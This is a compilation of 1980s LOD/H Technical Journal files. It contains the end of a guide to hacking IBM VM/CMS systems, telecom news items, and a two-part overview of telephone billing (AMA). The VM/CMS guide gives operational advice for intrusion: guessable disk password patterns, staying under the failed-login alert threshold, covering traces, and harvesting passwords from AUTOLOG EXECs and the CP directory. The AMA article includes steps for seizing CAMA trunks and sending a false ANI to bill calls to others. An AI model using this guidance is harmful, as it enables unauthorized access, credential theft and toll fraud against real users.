.LINK (TO) USERID VADDR1 (AS) VADDR2 (MODE) ((PASS=)PASSWORD)

BUBBA is the USERID whose disk we wish to access.

VADDR1 is a virtual address which belongs to the BUBBA userid. If BUBBA was to access our minidisk whose userid is JOE, he could access either our 191 address or our 192 address. The 190 and 19E addresses are usually automatically accessed by nearly all the users of the system since it contains system commands. We are assuming that BUBBA indeed has a minidisk with the virtual address of 191. Some userid's may not have any or they may have addresses which are somewhat obscure, say of 13A or 503. The only way we would be able to access those assuming BUBBA did not give them to us would be to guess them. This would be rather difficult, timeconsuming, and dangerous as we will soon see.

VADDR2 is any address which is not currently in our control, (ie. in our Q Search which would be 190, 191, 192, 19E) and is in the range of 001 to 5FF in Basic Control or FFF in Extended Control. In this example, we chose to use 555. We could have easily used 104, 33F, 5FA, etc.

MODE is the access mode which consists of up to 2 letters. The first letter specifies the Primary access mode. The second letter is optional and designates the alternate access mode. If the primary mode is not available, the alternate is used.

The access mode we used was RR. Valid access modes are:

R Primary Read/Only access. This is the default. You can opt to not specify an access mode when linking to a users' disk, and this is the mode which is used. It will only work if no other links are in effect.

RR This allows read access no matter what links are in effect to that users' disk.

W Primary Write access. This is only good if no other links are in effect.

WR If Write is available then the link will be made, if not it will goto Read.

M Primary Multiple access.

MR Resorts to Read if Multi is unavailabe.

MW This garauntees write access no matter what.

If another user has write access to one of your disks when you log on, your access will be forced to Read/Only. For this reason, you should have read access to others disks instead of write. If you wish to see what files have a filemode of zero, then link with write access, view or access those files, then RELEASE the disk and re-access it via read to avoid suspicion by that user of unauthorized individuals gaining write access to his files.

If a user has write access to a disk, you cannot gain write access unless you use a mode of MW. It is not recommended to have write access to anothers' disk if they themselves have write access. CMS cannot guarantee the integrity of the data on a disk which has more than one person linked to it with write access. Now if you see that the user is in a disconneced (DSC) state through the Q NAMES command, then it shouldn't be a problem if you have write access also since the person is not active. If that person re-connects however, then it is advisable to RELEASE that disk as soon as possible to avoid any chance of data being destoyed.

PASS=PASSWORD like the logon password, it can be a 1-8 character string that MUST match the access mode password for the VADDR1 of the userid which you are attempting to gain access to. Up to three access mode passwords can exist for each minidisk, R, W, and M.

If the installation uses the Password Suppression Facility, an INVALID FORMAT message will be issued when you attempt to enter the password for a disk on the same line as the LINK command was entered on. Obviously this is to prevent people from 'spoofing' the password off the screen or from printouts found in the trash. If this occurs, just hit return after entering the access mode, and wait for the enter password response.

Every disk password along with every users password and other information is contained in the CP Directory. If the password is "ALL" then a password is not required for any user so you will not be asked for one. You will then recieve a ready message indicating that the transaction has just been completed.

If you receive the message: "BUBBA 191 NOT LINKED; NO READ PASSWORD" then within the CP Directory, there is no read password at all. This means that the only way you can gain access to BUBBA's directory would be by getting his logon password. One note, I believe that a users logon password cannot be any of his access mode passwords. The reasons for this are obvious. If BUBBA wants JOE to access a disk, then he can give JOE the corresponding disk password. If this was identical to his logon password then JOE could logon as BUBBA and access all BUBBA's disks with no problem, and at the same time posses all the privs that BUBBA has. Within the CP directory, if there is no password entry for read access then there are no entries for write nor multi. If there is no entry for write then there may or may not be an entry for read, but definitly not one for multi. And finally if there is no entry for multi then there may or may not be entries for read and write.

The methods for obtaining disk access passwords are the same as anything else. Common sense and "Password Psychology" come into account along with the element of luck.

Assume the userid is VMTEST and you are hacking the READ password. Passwords may be: RVMTEST, RVM, RTEST, RTESTVM. Others may be READ, READVM, VMREAD, READTEST, TESTREAD and even VMTEST. Of course it could be something like: J2*Z5 Many times the same password will be used for R, W, and M access instead of three separate passwords.

CP keeps track of unsuccessful LINK attempts due to invalid passwords. When you exceed the maximum number of incorrect password attempts, which usually defaults to 10, the link command will be disabled for the remainder of your stay on the system. All you have to do is re-logon and you will have full use of LINK again.

If the LOGON/AUTOLOG/LINK journaling facility is activated, unsuccessful link attempts due to the above are recorded. When the threshold is reached the userid whose password you are trying to hack is sent a message. Therefore, keep track of the number of attempts you make and keep just short of the system threshold.

After successfully linking to a users' disk, you must issue the ACCESS command in order to get a directory listing or access any files on that disk. This is accomplished by:

```
.ACCESS VADDR2 B
```

VADDR2 is the address after 'AS' in your link command line, and 'B' is the filemode letter which you wish to access the disk as. This can be anything but the letters which you have already assigned up to a total of 26 (A-Z).

After accessing the disk to your hearts content, you can then RELEASE it. When you logoff the disk is automatically released. Releasing the disk is not necessary unless you already are attached to 26 minidisks, and you want to access more. You would then release whatever disks you wish and link then access others. After releasing disks, and you want to re-access that disk, you do not have to issue another link command but merely the ACCess command and what filemode you wish it to be.

The QUERY DASD command will list the minidisks that most everyone on the system has access to. All of these may or maynot be automatically accessed upon logon. For this reason, you should issue it, then all you have to do is ACCess the virtual address and define the filemode.

```
.Q DASD

DASD  190  3380  SYSRES  R/O   32 CYL
DASD  191  3380  SYSRES  R/W    1 CYL
DASD  192  3380  SYSRES  R/O    2 CYL
```

```
DASD  193  3380  SYSRES  R/O   19 CYL
DASD  194  3380  SYSRES  R/O   21 CYL
DASD  19E  3380  SYSRES  R/O   27 CYL
```

In our Q SEARCH list, we have access to 190 as the system disk, 191 as our A disk, 192 as our D disk, 19E as the systems' Y disk. Both 193 and 194 are accessable but have not been accessed by us. Thus:

```
.ACC 193 B
B (193) R/O
.
```

Now the 193 disk is our B disk and accessable by us. You can perform the same procedure for the 194 disk.

DIRMAINT:

The Directory Maintenance utility can be found on some systems. If it is running, DIRMAINT should be a valid userid. The DIRMAINT userid is automatically initialized when the system is started up. It remains in Disconnected mode awaiting transactions which contain directory maintenance commands.

If you come across a system with DIRMAINT, it will provide you with all the information you need to know about it. A few commands are important, at least to the hacker:

MDPW This displays access passwords for one or all of that userid's minidisks.

```
.DIRM MDPW
DVHDIR005R ENTER CURRENT CP PASSWORD TO VALIDATE COMMAND OR A NULL TO EXIT:
R; T=0.12/0.15 19:33:34
 DVHMDF301I MINIDISK 191: RBUBBA     WBUBBA    MBUBBA
 DVHMDF301I MINIDISK 192: RBUBPW     BONEHEAD  MULTIBUB
```

The reason you must enter the users logon password is obvious. If someone walks up to a users terminal and wants to know what the guys disk passwords are all he would have to do is enter this command and would get them, except for the fact that it does ask for the users logon password, thus, protecting the disk passwords.

```
Help   Get more info on DIRM commands.
PW     This changes a users logon password
PW?    Find out how long it was since the user changed his logon password.
MDISK  Change access mode, change, add, or delete passwords.
LINK   Cause an automatic link, at logon, to another users minidisk.
FOR    Enter a DIRMaint command for another user if authorized.
```

THINGS YOU WANT:

Things you want are: More valid userid's to try passwords on, actual logon passwords, and disk access passwords. Obtaining userid's can be accomplished by using the Q NAMES command every time you logon. Obtaining logon passwords isn't as simple. There are a couple of places which you will want to explore.

The AUTOLOG1 or AUTOOP virtual machines (userid's) usually auto-logon other userid's. Now, in order to do this they must have those users' passwords. These are contained within various EXECs within their user directory. If you can obtain a valid disk access password for whichever one of these is running on

your particular system, you can get more passwords and possibly some disk access passwords for about 10 other userid's. This should allow you to get more disk access passwords and hopefully more logon passwords. Nevertheless, having obtained a few more passwords, and not using them until the original one you hacked dies, will greatly extend your stay on the system.

EXEC files from any user may contain more disk access passwords for other users and those users directories may contain EXECs which have more passwords, and so on. Of course many other types of files may contain this type of information.

The CP directory, this is similar to a big bullseye on a target. This directory, as previously explained contains users' passwords, various system information and minidisk passwords. The directory usually goes under the filename/filetype of USER DIRECT. It can be anywhere on the system, and can have a different name which in my view would add to system security. It is usually found in either or both of two users' directorys which I leave to you to find (sorry). This is a very big weakness in CMS due to the fact that if you can find what userid the directory is in, and it's disk access password, you've got the system by the balls. The file may also have a filetype of INDEX which is a compilation or sorting of pertinent information used for speeding up various procedures the system carries out constantly. A typical entry in the USER DIRECT file would look like:

```
USER BUBBA BUBAPASS 1M 3M BG

VMU01000
 ACCOUNT 101 SYSPROG

VMU01010
 IPL CMS

VMU01020
 CONSOLE 00D 3215

VMU01030
 SPOOL 00C 2540 READER *

VMU01040
 SPOOL 00D 2540 PUNCH *

VMU01050
 SPOOL 00E 1403 A

VMU01060
 LINK MAINT 190 190 RR

VMU01070
 LINK MAINT 19D 19D RR

VMU01080
 LINK MAINT 19E 19E RR

VMU01090
 MDISK 191 3350 152 003 VMPK01 MR RBUBBA WBUBBA   MBUBBA
 MDISK 192 3350 152 003 VMPK01 MR RBUBPW BONEHEAD MULTIBUB

VMU01100
*
```

The first line gives the userid of BUBBA, password BUBAPASS, 1 and 3 Megs of virtual memory, and Privilege Classes B and G. The next line gives the account number and department or owner of the account. The next few lines define

miscellaneous system information. Next, three lines of what disks should be automatically linked to upon logon. And finally the minidisk (MDISK) virtual addresses and corresponding passwords.

CONCLUSION:

As usual, there is always more I could add to an article like this one. I did not want to keep writing part after part so I wrote a 'complete' article on Hacking VM/CMS. I apologize for its length of over 50K but I wanted to mention everything you needed to become familiar with the Operating System and its Security/Insecurity. I intentionally 'forgot' to mention various information which would put sensitive and destructive information in the hands of anyone who reads this article. The information within this article can and will be different from system to system so don't take anything too literally. This article is comprised: 80% information from actual system use, 10% CMS help files, and 10% from various CMS documentation. I may write a followup article of shorter length as more people become familiar with CMS.

Lex Luthor

The LOD/H Technical Journal: File #10 of 10

Network News & Notes

CWA Backs Bill To Ban Secret Telephone Monitoring (Communications Week 4/13/87)

The Communications Workers of America threw itself into the thick of a growing congressional debate on privacy protections for workers by launching a campaign to enact legislation prohibiting secret monitoring of telephone operators. The union has for years attempted unsuccessfully to stop telephone companies from listening to operators for performance assessments.

The union estimated that over 200,000 operators at AT&T & local operating companies are under surveillance. Third-party monitoring of telephone calls is illegal under the 1968 Wiretap Act, but a provision in the law lets employers listen in on worker conversations.

For many years, only the telephone companies had the ability to monitor employees. Today, with the development of electronic telephone gear and computers, the practice has spread to health and insurance company personnel, the IRS and airline and hotel reservation representatives.

Telephone company officials said they had not yet determined their position on the bill, but they stressed that monitoring was necessary to ensure that operators maintain performance standards. "In the competitave world AT&T faces, the name of the game is how well you treat the customer," said an AT&T spokeswoman. "We make spot checks to ensure the quality of service.

CWA president Morton Bahr argued at a news conference that monitoring does not improve service. "The assumption by many employers that supervision must be conducted secretly, or else the worker will quit trying, is both unfair and contradits all available evidence," he said.

The stress of being under surveillance by supervisors and computers often causes operators to develop stress-related illnesses, such as nervous conditions, anxiety, depression and ulcers, union officials said. Even the time operators take to use the bathroom is calculated.

Crime Doesn't Pay (Communications Week 4/13/87)

Those 18 cellular telephone abusers recently arrested in New York on charges of illegally altering memory chips so they could make calls free of charge would not have been able to bilk carriers had the companies been using cellular phones from AUDIOVOX CORP., Hauppauge, N.Y. Audiovox president John Shalam said his company's phones contain a mechanism built into the software that blocks alteration of the phone's electronic serial number, or ESN. "If someone attempts to change the ESN, the phone will not activate," Shalam said. The cellular suspects apparently changed their ESNs, causing other users to be billed for the offender's calls. FBI agents estimated that local mobile telephone companies are losing approximately $40,000 per month, or about $3 million nationally, because of cellular fraud.

US Sprint Initiates Operator Services (Communications Week 4/13/87)

US Sprint Communications Co. has quietly become the first major long distance company other than AT&T to offer its own nationwide collect calling, third-party billing and other operator services.

US Sprint's initiation of operator services early this year was made possible by a multiyear agreement with National Data Corp. The Sprint program puts a small dent in AT&T's marketing claims that they provide value-added services its competitors cannot equal.

Before Sprint began offering the nationwide program, only AT&T offered large-scale operator services to its customers. MCI Communications Corp. has been conducting a limited operator services trial exclusively in Topeka Kansas, for about two years but has no immmediate plans to expand the service to other cities.

National Data is primarily a transaction processing copmany, specializing in credit card authorizations via voice or data lines. Operators handling Sprint's collect and third-party traffic will also be spending some of their time handling credit card authorizations.

Calls from a US Sprint customer to an operator are automatically turned over to National Data's operator centers in Atlanta; Cherry Hill, NJ.; Lombard Ill.; Miami; Sparks, Nevada; and Toronto, following directions from software developed for the long distance company's switches by National Data and Rockwell International Corp.

National Data is currently negotiating with about 20 other regional and national long distance companies to provide the same sorts of services to them as the company does for US Sprint.

WARNING: Fiber Cable Is Not Tap Proof (Communications Week (4/13/87)

Until recently, companies and government agencies were little concerned about clandestine siphoning of data from fiber optic networks.

Because of the technology involved-lightwaves-fiber is considerable more difficult to eavesdrop on than copper wire. Many telecommunications users, however, have mistakenly assumed this to mean that fiber is tap-proof.

Recent tests conducted by federal agencies, such as the NSA, CIA, and FBI have debunked the tap proof myth.

Security of voice and data transmitted via fiber is an increasingly crucial issue as use of fiber optical local area networks grows within the government. Civilian agencies have committed themselves to upgrading their on-premises networks by installing fiber. The military too, is developing more applications for fiber optics.

Encryption, while a common method of protecting military and State Dept. secrets, is expensive. While signal encryption is used mostly for classified defense communications, many other types of government data are not encoded.

Security is a matter of definition. Fiber is secure in that it is resistant to simple methods of tapping. To tap it, you have to be much more sophisticated. Virtually anyone who can lift a manhole cover has access to leased lines.

Indeed, the government says fiber's security advantages include its immunity to jamming, electromagnetic interference and electromagnetic pulses.

Counter-intrusion equipment is designed to monitor and detect any breach in optical transmission, using the principle that at least some loss in a lightwave signal will occur if a fiber line is tapped. Such equipment also enables a rapid pinpointing of where the intrusion is being made on the cable.

The LOD/H Technical Journal, Issue #3: File 01 of 11

Released: October 21, 1988

THE

LOD/H TECHNICAL JOURNAL

INTROUCTION:

When putting together a high quality newsletter, it is sometimes difficult to locate suitable articles and arrange with the author for transmission. Difficulties of this type have caused this issue to be almost one year late. All of the older articles have been updated to insure the latest, most accurate information.

2600 Magazine update:

Lex Luthors' Hacking IBM VM/CMS Systems article from Issue 2 has been published in the November/December issue of 2600 of 1987. Phucked Agent 04's article on the Outside Loop Distribution Plant has been published in the Fall/88 issue. This brings the total up to 5 articles from the LOD/H Technical Journal that they have published. The others were CLASS by The Videosmith, the TSPS Console by The Marauder, and Update #4 of the LOH Telenet Directory. To subscribe to 2600, which is published quarterly contact:

2600
PO Box 762
Middle Island, NY USA 11953

Or call for more information: (516) 751-2600

You can find the Technical Journal on the following boards:

The Phoenix Project: 512-441-3088
Digital Logic : 305-752-8645 (NEW USER PASS = RISC)

TABLE OF CONTENTS:

01	Introduction to the LOD/H Technical Journal and Table Of Contents for Volume 2, Issue 3	Staff	02 K
02	Understanding Automatic Message Accounting Part A	Phantom Phreaker	22 K
03	Understanding Auotmatic Message Accounting Part B	Phantom Phreaker	25 K
04	Update file: Shooting Shark's UNIX password hacker	Shooting Shark	03 K
05	An Introduction to Teradyne's 4TEL System	Doom Prophet	12 K
06	A Cellular Automaton Encryption System	The Mentor	29 K
07	Hacking the IRIS Operating System	The Leftist	13 K

08 A Guide to Coin Control Systems Phase Jitter 08 K

09 A UNIX password hacker from USENET ---------- 16 K

10 Reprint News Article: 'LOD BUST MYTH' ---------- 13 K

11 Network News & Notes The Mentor 30 K

Total: 6 articles, 11 files 173 K

The LOD/H Technical Journal, Issue #3: File 02 of 11

```
$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$
L                                                   L
O           AUTOMATIC MESSAGE ACCOUNTING            O
D                                                   D
$                       (AMA)                       $
L                                                   L
O                    An overview                    O
D                                                   D
$            Written by Phantom Phreaker            $
L                                                   L
O                  Legion Of Doom!                  O
D                                                   D
$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$
```

<part one of two>

This article is meant to provide an explanation of Automatic Message Accounting (AMA) and how it was/is used in the past and present.

All information included in this file is correct to my knowledge, however, if anyone notices any errors or has anything interesting to add, try to get in touch with me one way or another and let me know.

Hopefully this article will clear up any misconceptions about AMA that have been circulating around on bulletin boards and by word of mouth. Keep in mind, however, that the information here may not be applicable to your specific area or telco. The information contained herein generally applies to the BOC's, and if you are served by an independent telco, your method of billing may differ.

This article is aimed more towards the more experienced telecommunications enthusiast. People with limited knowledge may have a hard time understanding the information presented here. However, if you can contact me I will try to answer any questions or clarify anything included in this article that isn't understood.

Information will be included in this article concerning the use of AMA in the past. This is being done for people in older areas or areas served by an independent telco that may still be using the old technology.

HISTORY

In the past, Call Detail Record (CDR) information was collected and recorded by cordboard operators in a process known as manual ticketing. The operator recorded this information by writing it down manually upon a

formatted record called a ticket. These tickets were sent to the appropriate office where billing was handled. This manual ticketing process was time-consuming, and was phased out with the introduction of electromechanical switching.

Before the advent of AMA, a magnetically operated counter called a message register was associated with each subscribers line in a given central office. This counter was responsible for counting the number of calls that each subscriber made, for billing purposes. This message register was caused to operate one or more times when the called party answered the telephone. The way this works is when the called party answers, a reverse battery signal was sent back over the trunk circuit to activate a relay in the originating office which was responsible for the application of a 48-volt battery to advance the message register the appropriate number of units. A local call is/was usually one message unit, regardless of how long the call lasted. Local calls to further away areas were/are usually two message units. Long distance calls were handled either by cordboard operators, using manual ticketing, or by a method not involving operators known as zone registration. With zone registration, calls to different zones would cause the message register to operate two or more times per time period. This would make the cost higher for longer calls, and less for shorter calls.

At the end of the billing period, each message register had to be manually photographed to keep track of the number of calls made by that specific subscriber. These photos were taken by a 35 millimeter camera that was known as a Traffic Usage Recorder, and then sent to the same place that manual tickets (prepared by operators) were. However, this method of billing soon grew costly and inefficient, so a new method, LAMA (Local Automatic Message Accounting) was developed. Additional and more specific information shall be included later in the article.

In the late 1940's, the Bell System developed LAMA, which recorded the billing information in a much more efficient manner. However, some end offices did not have enough call traffic to warrant the installation of LAMA equipment. To solve this problem, CAMA (Centralized Automatic Message Accounting) was developed in the mid 1950's. CAMA was different from LAMA in that it was based in a toll or tandem office and could record the AMA information for every end office that it served. More on LAMA and CAMA will be included later in the article.

Another development concerning AMA is the computerization of the system, named LAMA-C or CAMA-C, for 'LAMA-Computerized' or 'CAMA-Computerized'. CAMA had used paper tape perforators for a time before the magnetic tape method was introduced with CAMA-C. LAMA-C is a computerized version of LAMA which also uses magnetic tape (LAMA-C is still used today). LAMA and LAMA-A (previous versions) used paper tape, although LAMA-A was more efficient.

LAMA, LAMA-A, CAMA, and CAMA-C were all part of the AMARS, the Automatic Message Accounting Recording System. However, a newer term for more modern setups is the AMACS, for Automatic Message Accounting Collection System. The AMACS includes end office AMA systems, a recent introduction called the AMARC (AMA Recording Center), AMARC sensors from end offices to the AMARC, the data links used to transmit billing information, and data recievers located at the AMARC site. The AMARC is a product of the new age of computerized technology as it applies to the telecommunications systems used in our society. Still, LAMA and CAMA and their different versions shall be described and explained to help people understand how they were/are used.

LAMA

LAMA is described by Notes on the Network (1983) as 'A process using equipment located in a local office for automatically recording billing data

for message rate calls and for customer-dialed station to station toll calls'. What this is means is that if your CO uses LAMA, and you are on a single party line (most people are), all 1+ toll calls will be billable by LAMA equipment, and all calls coming from message rate lines. A message rate line, for those of you not familiar with the term, is a telephone line that has the ability to receive incoming calls, but all outgoing calls will cost the subscriber. The subscriber pays for basic service (the ability to receive calls) with the consideration that all other calls (even local ones) will cost a certain amount of money per call. Many subscribers in several major cities get this feature automatically, and thus phone bills are generally higher in these areas.

LAMA originally recorded billing information on punched paper tape, in a version known as LAMA-A, but now magnetic tape is generally the format used in places where LAMA-C equipment is used. The paper tape perforators that recorded the CDR data in LAMA-A were noisy, and they needed maintenance due to their electromechanical construction. The magnetic tape method is much more reliable, and quieter as well.

If a persons End Office uses LAMA, then all toll calls from all lines and all local calls from metered rate lines are recorded on the LAMA tape, with a few exceptions. LAMA can only be used to record AMA information for one and two party lines. On other party lines such as three and four party, the originating caller has his/her number identified by an operator via the ONI (Operator Number Identification) method. It is not been determined by the author if the BOC (Bell Operating Company) operators such as TOPS (Traffic Operator Position System, made by Northen Telecom Inc. of Canada) or MPOW (Multi-Purpose Operator Workstation, by US West) operators would be used for this ONI or not. I would guess that AT&T TSPS operators would handle an inter-LATA toll call, and that the BOC TOPS/MPOW operators would handle the ONI for an intra-LATA call (my reasoning behind this statement is the fact that whenever I have had an ONI due to equipment failure, which is similar to ONI needed, only the ANI outpulsing was garbled, the called number was still transmitted in the correct fashion. I am assuming that the end office switching system would route the call to the correct operator position by matching the NPA-NXX with some sort of internal table which makes a distinction between intra and inter-LATA calls). Anyway, these calls had their AMA information sent from the appropriate operator position to the toll office that served the 3+ party line, onto CAMA tape. Another instance in which a LAMA office may use CAMA instead is when an ANIF (ANI Failure) occurs. If the ANIF is sent to TSPS, then that TSPS will record billing information upon CAMA tape by using ONI. It seems that AMA information that has been recorded by an operator is buffered and stored until it is time to send the information to the appropriate places for processing. In the case of AT&T TSPS operators, the TSPS had it's own magnetic tape which was sent to the RAO (Regional Accounting Office, formerly called Revenue Accounting Office) on a regular basis. I am not sure if this method is still used or if TSPS AMA has been updated or enhanced in some way.

EXAMPLES OF LAMA USAGE

The following is the call flow procedure in a LAMA-A (paper tape) system.

After a customer completes dialing, the dialed number (the called number), the originating class of service, Line Equipment Number (LEN), and call type are sent from the switch to the AMA equipment. Translations, such as figuring the billing telephone number from the Line Equipment Number, are done. The information that comes from the translations procedures determines which paper tape perforator shall be used to record the data for this specific call. A record of the initial information gathered is called the initial entry. The last line of the initial entry contains a two digit code called a Call Identity Index, which identifies telco equipment such as the trunk or district

junctor that will be used for that call.

When the call is answered, another entry is made, called the answer entry. This entry is a single line on the paper tape and has the CII and the exact time that the call was answered on it.

The last entry on the paper tape is known as the disconnect entry. This entry contains the CII and the exact time that the call ended.

The CII is important because it is what the RAO used to group together all the data about a given call. Entries are recorded at different times in a LAMA system, they are not in sequential order, so the CII makes it easier to find all three entries for a specific call.

This method of recording AMA information required the RAO to 'unshuffle the deck' when it came time to organize the AMA information. The variations in the AMA recording formats used by different switching systems eventually led Bellcore to develop a standard AMA format, named the Bellcore AMA Format (BAF). More information will be included about this format later in the article.

In a No. 5 Crossbar switching system, the AMA setup used special purpose 3 inch wide paper tape on which AMA records were recorded by CO equipment. This method of recording is for the stone ages, as it has been phased out by almost every BOC. Similar to the LAMA-A call flow, this method of AMA used three AMA entries. The first one was the customers service information, which included the calling and called telephone numbers, the second one was recorded when the telephone was answered, and the third one was recorded at disconnect. This also made the job at the RAO a bit harder, as again, they had to 'unshuffle the deck'.

The No. 2 ESS introduced the latest magnetic tape recording technology that was available at that time. The 2E used 200 BPI, 7 track mag tapes, and it introduced special data coding conventions. It's technology and conventions are still in use today, but I think that the BPI and number of tracks have been increased. The 2E mimics the No. 5 Crossbar AMA method by recording three entries and interleaving them on the magnetic tape. Data common to all calls on a tape (such as date, CO info, etc.) are recorded in special tape headers. The No. 2B ESS was introduced with the same AMA technology as the 2E, but a 2B that provides equal access capabilities for interexchange carriers adds a new data entry to the three used by the 2E. This new entry reports the time of connection of a carrier to the local network, which is needed for carrier access billing.

The No. 1 ESS modernized the AMA process even more. The 1E used 200 BPI, nine track tape. The 1E provides data collection memory registers for AMA information on applicable calls. A register is assigned to an AMA call and kept open for the call's duration. This register collected most of the billing data that was needed. The AMA information was then written to magtape at the time of disconnect. This made it easier for the RAO to process. The AMA format used by the 1E uses variable length records whose fields occur for the most part in a general, preset pattern. Eventually, though, even the 1E AMA method was found to be slightly faulty. This was due to high processing costs at the RAO and the problem of tape headers getting erased from the tape. The BAF was made to solve the problems that are associated with other AMA setups. An update to the BAF is called the EBAF, or Extended Bellcore AMA Format. The main difference between the BAF and EBAF is that EBAF is more flexible and can be used easier, as the BAF uses a defined structure for storing data. The EBAF can append other information to the end of an AMA record, and this makes it more flexible.

ANI FORMATS

The ANI formats outpulsed in a LAMA arrangement are as follows (assume that the call being shown for an example is being dialed from a home telephone, as dialing from coinphones would cause different ST signals to be sent; also the type of signaling in this case is SF in-band):

CALLED number:KP+(NPA)+NXX+XXXX+ST

CALLING number:KP+I+NXX+XXXX+ST

The second format is the ANI associated with LAMA and is sent to the LAMA equipment after the ANI receiving trunk winks. The NPA included in this example is optional and only needed if the subscriber is making a call to a Foreign NPA (FNPA). The complete called number is not included in all cases, as when an AMA setup is configured for bulk-billing. In bulk-billing, the entire called number is not recorded, but just enough for billing purposes. The CALLING number is the number that the subscriber is dialing from. These two numbers are sent in Multi Frequency (MF) tones to MF receivers located within a CO. The I in the ANI is an information digit, and these shall be explained later in the article.

One may wonder how a CO knows which lines it serves are message rate lines and which are flat rate. On electromechanical switches such as Step by Step, No. 1 and No. 5 Crossbar (it should be noted that there are no remaining panel switches within the Bell System), there is an electronic line card associated with each Directory Number which holds information relevant to that line. These cards have to have any type of change hardwired into them. However, in digital/ electronic switching systems, there are Line Class Codes which reflect information about each subscribers line. There are many, many of these codes. Some of the more common and interesting ones are listed below:

LCC	EXPLANATION
1FR	Single party Flat rate Residential line
1MR	Single party Metered rate residential line
1CF	Single party Coin First coin telephone
1OF	Single party Official (telco) line
1FB	Single party Flat rate Business line
1MB	Single party Metered rate Business line

These codes can be found for a line in several places, such as certain fields in telco computer output reports. COSMOS and LMOS are two such computers that hold this information. If you find COSMOS printouts or have access to COSMOS, these Line Class Codes will be listed under the 'LCC' field in an ISH, INQ, or other inquiry. Sometimes the data in the LCC field will match or be similar to the data in the US field, which is a USOC (Universal Service Order Code). A USOC and an LCC aren't the same thing though.

CAMA

CAMA operates along the same basic principle that LAMA does, except that CAMA is based in a toll or tandem office (class 4). CAMA is made to be used in areas where it would be costly to implement a LAMA arrangement for each and every class 5 office. This is because some end offices did not have enough traffic to warrant the cost and work required to install LAMA equipment. LAMA setups can/could be found in abundance in rural areas near large cities.

The first letter in each of the acronyms (L)AMA and (C)AMA describes the usage of each. (L)AMA, for Localized, in a local central office, and (C)AMA for Centralized, in a toll office.

The outpulsing formats to CAMA are similar to the LAMA ANI outpulsing. The outgoing trunk to the serving CAMA office from the end office sends the called DN in the format of KP+(NPA)+NXX+XXXX+ST. Next, the incoming CAMA trunk requests the end office to send the calling number. This is sent as KP+I+(NPA)+NXX+XXXX+ST, where the I is an information digit which gives information about the status of the process, and the NPA may or may not be needed, depending upon the setup. The information digits that follow are used in ANI outpulsing to Local and Centralized AMA. They are:

0-Automatic Identification (a normal call, with no special treatment);

1-Operator Identification (ONI-call is sent to an operator who requests the customer to give the number they are calling from);

2-Identification Failure (ANI Failure, handled the same way as ONI).

The ONI due to ANIF and normal ONI which is used on certain party lines are kept track of. If too many ANI Failures happen, then a report will be generated indicating this fact. ONI needed is more standard and ordinary, and thus safer for the telecommunications enthusiast. This information can be put to a good use, as if you find an outgoing CAMA trunk when you are boxing, you can place calls over it by using the above CAMA formats. The only limiting factor is that the NXX of the calling number that you sent for ANI must be an office that is served by the particular CAMA offices trunk that you are using.

Note that CAMA is not used much anymore, it was mainly used with Electro-Mechanical toll switches such as the No. 4A Crossbar, and the Crossbar Tandem (XBT). I don't think there are any XBTs or 4As in operation in the AT&T toll network, but CAMA may be used by independent telcos, or by telcos in rural areas that serve only a small number of central offices. In an independent telco setup, a CAMA arrangement may be used, but not in the same way as AT&T has used it. The centralized location may not be a toll office, it may just be the largest CO in that companies network. There can be several variations. CAMA was originally introduced to work with and in conjunction with ANI, thus the original term for the process, CAMA/ANI. For a complete description of ANI in electromechanical switching systems, see one of the older issues of Phrack Inc. newsletter for a file written by Doom Prophet and myself, titled 'Automatic Number Identification'. I have seen CAMA mentioned in recent telco information, so I assume that CAMA is still in use, at least in some places. Supposedly a way to determine if you are on CAMA is to dial local numbers, and send 2600Hz. If you can seize a trunk, then it is likely that you are served by CAMA. You can then pick local exchange codes, (NXX), dial them, seize a trunk, and then MF using the CAMA format included above, sending a false ANI for one of the local exchanges. If you do this, I suggest that you don't send the ANI of a resident. Use non-working numbers, disconnected numbers, payphone numbers. I am not sure if there is any check done upon the number sent in ANI by the toll office or not, but it is probable that the local switch is

responsible for screening out invalid numbers and such. So if you can get on a CAMA trunk then you have the power to bill calls to anyone else who is served by a CO that homes in on the same toll office and uses the same CAMA equipment.

<end of part one>

The LOD/H Technical Journal, Issue #3: File 03 of 11

```
$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$
L                                                   L
O           AUTOMATIC MESSAGE ACCOUNTING            O
D                                                   D
$                       (AMA)                       $
L                                                   L
O                    An overview                    O
D                                                   D
$            Written by Phantom Phreaker            $
L                                                   L
O                  Legion Of Doom!                  O
D                                                   D
$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$LOD$
```

<part two of two>

The standard AT&T Toll office switch, the No. 4 ESS, is also equipped to handle CAMA if necessary. The CAMA procedure is as follows: Call data for the CAMA call is kept in a buffer (technically called an Accounting Block (AB)) which then stores the entry upon a nine track 800-bpi (bits per inch) AMA tape (note: the information used in research for this part of the article was rather old, so the bits per inch has probably increased). The data that are kept in this buffer and put on the tape are as follows: the calling DN, the called DN, answer and disconnect times accurate to 0.1 second, and other misc. information. The callers DN can be entered into the 4ESS in two ways, ANI or ONI. ANI is of course the normal method for identifying a callers DN for billing purposes. ONI is used when there is an ANIF, or when it is needed (the other equipment cannot get the DN with ANI). When the 4E gets an ANIF or an ONI needed, it sends the call to a TSPS operator, who should ask the caller for their number. When an operator gets an ONI situation 'from' a 4E, she uses two types of trunks, a talking trunk, and a keying trunk. The talking trunk is what the subscriber comes in upon and is the line over which the operator asks for the callers DN. The keying trunk originates at the 4E and terminatates at TSPS, and is what is used to send the callers DN (in MF) to the 4ESS office. The operator has access to both trunks at the same time, thus she can enter the number in a quick and orderly fashion.

When a line classification does not fit into the 'one information digit' (KP+I+NNX+XXXX+ST) category, two information digits are used. When two are used, they are called screening codes. Screening codes are outpulsed along with the ANI for certain types of telephone lines, and when ANI is being sent to an alternate carrier via 'Equal Access' (Feature Group D, 1+ dialing). These screening codes are two digits and precede the subscribers DN. An example of screening code outpulsing is as follows:

KP+II+NNX+XXXX+ST

The II represents two information digits that precede the callers number. Some of the more common screening codes are as follows:

KP+00+NXX+XXXX+ST	Normal telephone call, identified POTS line;
KP+01+NXX+XXXX+ST	ONI needed on a multiparty line;
KP+02+NXX+XXXX+ST	ONI needed due to ANI Failure;
KP+07+NXX+XXXX+ST	Hospital, inmate type telephone;

KP+08+NXX+XXXX+ST	Line restricted from dialing inter-LATA;
KP+10+NNX+XXXX+ST	Telco test call;
